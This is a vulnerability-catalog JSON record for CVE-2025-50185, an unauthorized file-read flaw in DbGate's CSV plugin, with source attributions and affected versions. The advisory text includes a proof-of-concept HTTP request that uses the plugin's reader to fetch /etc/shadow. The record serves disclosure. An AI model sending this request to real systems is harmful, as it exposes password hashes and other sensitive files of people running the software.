{
  "schemaVersion": 1,
  "attribution": [
    {
      "source": "CISA Known Exploited Vulnerabilities",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog",
      "licence": "US government work"
    },
    {
      "source": "GitHub Advisory Database",
      "url": "https://github.com/advisories",
      "licence": "CC BY 4.0"
    },
    {
      "source": "Have I Been Pwned",
      "url": "https://haveibeenpwned.com/",
      "licence": "CC BY 4.0"
    },
    {
      "source": "CVE Program (CVE records)",
      "url": "https://www.cve.org/Legal/TermsOfUse",
      "licence": "CVE Terms of Use",
      "notice": "Copyright © 1999-2026, The MITRE Corporation. CVE is a trademark and the CVE logo is a registered trademark of The MITRE Corporation.",
      "terms": "CVE Usage: MITRE hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Common Vulnerabilities and Exposures (CVE™). Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy."
    },
    {
      "source": "FIRST EPSS",
      "url": "https://www.first.org/epss/",
      "licence": "free to use; FIRST requests attribution"
    }
  ],
  "record": {
    "id": "CVE-2025-50185",
    "sourceURL": "https://www.cve.org/CVERecord?id=CVE-2025-50185",
    "idYear": 2025,
    "status": "PUBLISHED",
    "publishedAt": "2025-07-26T03:34:43.481Z",
    "updatedAt": "2025-07-28T18:55:40.184Z",
    "importedAt": "2026-10-24T01:57:39.058Z",
    "snapshot": {
      "id": "cve_2026-10-24_midnight_baseline",
      "at": "2026-10-24T00:00:00.000Z",
      "source": "https://github.com/CVEProject/cvelistV5/releases/tag/cve_2026-10-24_0100Z"
    },
    "facts": {
      "title": "DbGate allows Unauthorized File Access via CSV Plugin",
      "summary": "DbGate is cross-platform database manager. In versions 6.6.0 and below, DbGate allows unauthorized file access due to insufficient validation of file paths and types. A user with application-level access can retrieve data from arbitrary files on the system, regardless of their location or file type. The plugin fails to enforce proper checks on content type and file extension before reading a file. As a result, even sensitive files accessible only to the root user can be read through the application interface. There is currently no fix for this issue.\n\n\n\n\n\n\n```\nPOST /runners/load-reader HTTP/1.1\nHost: <REPLACE ME>\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: <REPLACE ME>\nContent-Type: application/json\nAuthorization: Bearer <REPLACE ME>\nContent-Length: 127\nOrigin: http://192.168.124.119:3000\nConnection: keep-alive\nCookie: <REPLACE ME>\nPriority: u=0\nCache-Control: max-age=0\n\n{\"functionName\":\"reader@dbgate-plugin-csv\",\"props\":{\"fileName\":\"/etc\\/shadow\",\"limitRows\":100}}\n\n```\n\n\n\nThe request payload:\n![Screenshot From 2025-05-31 22-54-49](https://github.com/user-attachments/assets/28943ad7-14f8-432a-9836-cec5c3593c0a)\n\n\nLines of the file being returned:\n![Screenshot From 2025-05-31 22-55-23](https://github.com/user-attachments/assets/4fae4652-097d-4d39-9f7a-6ce39346ed1d)",
      "affected": [
        {
          "vendor": "dbgate",
          "product": "dbgate",
          "versions": [
            {
              "version": "<= 6.6.0",
              "status": "affected"
            }
          ]
        }
      ]
    }
  }
}